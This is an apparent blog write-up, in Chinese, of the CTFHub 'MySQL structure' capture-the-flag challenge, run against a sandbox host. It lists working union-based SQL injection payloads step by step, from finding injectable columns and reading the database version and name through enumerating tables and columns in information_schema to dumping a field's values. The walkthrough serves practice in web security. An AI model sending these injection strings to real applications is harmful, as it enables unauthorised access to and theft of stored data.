CTFHub-MySQL结构


http://challenge-f85356a423d064a3.sandbox.ctfhub.com:10800
解题思路:
题目关键字:
- 
MySQL结构 
解题思路:
查找注入点:
输入一个1,发现有两个注入点

验证注入点:
?id=1 and 1=2 union select 1,2

查询数据库:
?id=1 and 1=2 union select version(),database()

查看数据库中的表:
?id=-1  union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'  

?id=-1  union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli'

查看表字段中的值:
?id=-1 union select 1,  cmlrlveypq from wpfdbztybp
 
                    
                     
                    
                 
                    
                
 
 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号